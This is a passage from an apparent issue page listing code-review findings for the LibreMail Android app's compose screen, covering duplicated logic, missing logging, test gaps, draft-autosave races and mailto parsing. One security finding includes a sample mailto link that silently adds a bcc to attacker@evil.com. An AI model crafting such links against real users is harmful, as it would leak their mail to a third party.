exists as the internal, same-package helper lineMarker/ORDERED_PREFIX in RichText.kt (lines 95-104) — markerLengthAt is exactly lineMarker(line)?.length ?: 0 and markerAt is lineMarker(line) mapped to the BlockMarker enum. - severity: **low** · category: `reuse` · angle: `reuse` · flagged by 3 finder(s) > The definition of what counts as a block marker now lives in two files: RichText.kt's lineMarker drives hasFormatting() and RichTextHtml serialization (classify), while RichTextEditing's private copies drive the toolbar's toggleBlock/hasBlock. If one copy changes (e.g. the ordered-item pattern is extended to '1)' or the bullet glyph changes), the toolbar will insert/strip prefixes that the HTML serializer no longer maps to <ul>/<ol>/<blockquote> (or vice versa), so a 'formatted' body goes out with literal marker text instead of list markup, and hasFormatting() disagrees with the editor about whether the message needs an HTML body. Fix: have markerAt/markerLengthAt delegate to lineMarker (which also removes the O(rest-of-text) substring copies). ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:93` — takePersistableUriPermission failures in both compose pickers are swallowed by bare runCatching with no AppLog, violating CLAUDE.md's Definition of done ('No app source-code change is complete without appropriate logging added at its key points — ... error/fallback paths') — AttachmentUriGrants.kt's own KDoc names this exact silent failure mode ('a silently-swallowed take fails a later draft's image reload'). - severity: **low** · category: `conventions` · angle: `conventions` > User has hit the per-app persisted-URI-grant cap (or picks from a provider that does not offer persistable grants): the take at ComposeScreen.kt:93-95 (attachments) or 105-107 (inline images) throws SecurityException, runCatching discards it, the attachment is still added, and when the saved draft is reopened later the file/image fails to load with zero trace in the RingLogBuffer/DebugReport — the maintainer cannot diagnose the user's 'my draft lost its attachment' report. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:124` — The ON_STOP -> viewModel.flushDraft() lifecycle wiring (the #177 fix that flushes the debounced autosave when the app is backgrounded) has no test: flushDraft() itself is unit-tested, but no JVM or instrumented test ever transitions the composed screen's lifecycle to STOPPED — ComposeScreenJvmTest builds its own LifecycleRegistry, pins it at RESUMED, and never moves it, even though driving it to CREATED and verifying vm.flushDraft() would be trivial there. - severity: **low** · category: `test-gap` · angle: `tests` > Someone removes or reorders the LifecycleEventEffect (e.g. merging it into the ON_RESUME effect, or a compose-lifecycle API migration drops it). All tests pass. A user composes, switches apps within the 1.5s debounce window, and Android kills the process: the last edits (or the whole draft, if nothing was ever flushed) are lost — the exact regression #177 was shipped to prevent, returning silently. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:148` — The resumed-draft load in init overwrites the whole compose state unconditionally when it completes, clobbering any recipients/subject/body keystrokes the user entered while the Room read was in flight. - severity: **low** · category: `concurrency` · angle: `invariants` > User opens a draft on a device under I/O pressure (Room read delayed a few hundred ms), immediately taps the To field and types an address, or starts editing the body. When getDraft returns, _state.update replaces to/cc/bcc/subject/body/attachments with the persisted values, discarding the keystrokes; the editor re-seeds (body/bodyHtml changed) so the typed text disappears. There is no 'already edited' guard or field-level merge. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:191` — The autosave pipeline's drop(1) only skips the pristine initial state, not the draft-load emission, so merely opening a resumed draft (zero user edits) triggers an autosave that rewrites the row with a fresh updatedAt, reordering the Drafts list by 'last viewed' instead of 'last edited'. - severity: **low** · category: `correctness` · angle: `invariants` > User opens an old draft from the Drafts list just to read it and backs out without typing. The getDraft load is the second DraftContent emission (the first, pristine one was dropped), it passes distinctUntilChanged, and 1.5s later autosaveDraft() -> saveDraft(...) writes updatedAt = now. The untouched draft jumps to the top of the drafts list and its true last-edited timestamp is lost; every subsequent peek repeats this. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:290` — stripSuffixIfPresent re-implements stdlib String.removeSuffix: both guards are redundant (removeSuffix already no-ops when the receiver doesn't end with the suffix, and removing an empty suffix is a no-op), so the helper is exactly removeSuffix — which the neighbouring swapHtmlSignature (line 283) already calls directly for the identical HTML-side strip. - severity: **low** · category: `reuse` · angle: `reuse` > Dead wrapper with a name implying extra semantics it doesn't have: the plaintext signature strip (line 265) and the HTML signature strip (line 283) look like two different operations when they are the same one, so a reader auditing the signature-swap logic must verify the helper adds nothing. Deleting it and calling removeSuffix in both places makes the plain/HTML paths visibly symmetric at zero behavior change. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:498` — performSend's onFailure branch — the only place an outbox-enqueue failure surfaces — has no AppLog call (the whole compose/drafts/outbox UI layer has zero logging), violating CLAUDE.md's Definition of done requirement that error/fallback paths be logged so behaviour is diagnosable from a user's debug report. - severity: **low** · category: `conventions` · angle: `conventions` > MailRepositoryImpl.sendMessage's runCatching fails before the message reaches the outbox (e.g. copyAttachments throws IOException because the picked content URI's grant was revoked, or 'Account not found'): the user sees only a transient snackbar with e.message, nothing is written to the RingLogBuffer (SendWorker logging covers only messages already queued), and a debug report for 'send did nothing' contains no record that a send was even attempted or why it failed. ### `app/src/main/kotlin/org/libremail/ui/compose/MailtoParser.kt:49` — cc/bcc headers from an untrusted mailto: link are honored verbatim into the compose prefill, so a malicious link can silently add a blind recipient to a message the user sends. - severity: **low** · category: `security` · angle: `security` > A web page links mailto:you@corp.com?bcc=attacker@evil.com&subject=...&body=... . Tapping it (ACTION_VIEW) prefills bcc with attacker@evil.com. RFC 6068 s.7 warns clients should not automatically honor recipient headers from untrusted sources; although the Bcc field auto-expands, a user who sends without scrutinizing it silently exfiltrates the message (and any typed reply content) to the attacker. ### `app/src/main/kotlin/org/libremail/ui/compose/MailtoParser.kt:109` — decodeEscape uses String.toIntOrNull(16), which accepts a leading '+' or '-' sign, so malformed escapes like '%+A' or '%-1' are 'decoded' (to 0x0A, or to a negative value written as byte 0xFF) instead of passing through verbatim as the function's contract documents. - severity: **low** · category: `correctness` · angle: `logic` · flagged by 3 finder(s) > A mailto: link containing 'foo%-1bar@example.com' (malformed escape that should survive verbatim per the doc comment) prefills the To field as 'fooÿbar@example.com' - the '-1' parses to -1 and ByteArrayOutputStream.write(-1) emits byte 0xFF, corrupting the address; '%+A' silently becomes a newline inside a recipient/subject instead of the literal three characters. ### `app/src/main/kotlin/org/libremail/ui/compose/RichTextEditor.kt:643` — clearStyle's span-splitting flatMap is a third copy of the range-subtraction algorithm already in RichTextEditing.kt (private subtractRange for spans, line 219, itself duplicated verbatim as subtractLinkRange for links, line 230); the clear operation should be a RichTextEditing op (e.g. clearStyleKind) built on the shared subtractRange instead of re-implementing the split in the UI layer. - severity: **low** · category: `reuse` · angle: `reuse` > The 'remove the [start,end) slice of a run, keep the flanks' logic exists in three places. Bug #298 already showed this class of logic needs fixing centrally (applyLink's partial-overlap handling); the next such fix or semantic change (e.g. merging kept fragments via mergeSameValueSpans, or boundary-inclusive clearing) applied to RichTextEditing.subtractRange will silently not reach clearStyle in RichTextEditor.kt, so the color pickers' 'no color' entry splits spans differently from toggleStyle over the same selection. It also leaves the only editing op that lives outside the deliberately JVM-testable RichTextEditing object. ### `app/src/main/kotlin/org/libremail/ui/compose/format/FontSizePicker.kt:54` — The formatting toolbar's button chrome (clip(shapes.small) + secondaryContainer-when-active background + clickable(role=Button, onClickLabel) + 12x8dp padding) is copy-pasted four times — FormatButton (RichTextEditor.kt:416), AlignButton (ParagraphAlignmentControl.kt:64), and the anchor rows of FontSizePicker (here) and FontPicker (FontPicker.kt:51) — and FontPicker/FontSizePicker are wholesale structural clones (identical anchor + leading-'Default' DropdownMenu) differing only in the item list. - severity: **low** · category: `reuse` · angle: `reuse` > Any change to the toolbar buttons' shared treatment — touch-target size for accessibility, active-state colors, ripple/shape, or the onClickLabel-instead-of-contentDescription a11y convention the KDoc calls out — must be repeated in four files; miss one and a single toolbar renders visibly mismatched buttons or exposes inconsistent TalkBack behavior between, say, the bold button and the alignment buttons sitting next to it. A shared FormatButton/toolbar-chrome composable in ui/compose/format (and one generic dropdown for the two pickers) removes the drift risk.
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: JMR-dev/LibreMail#497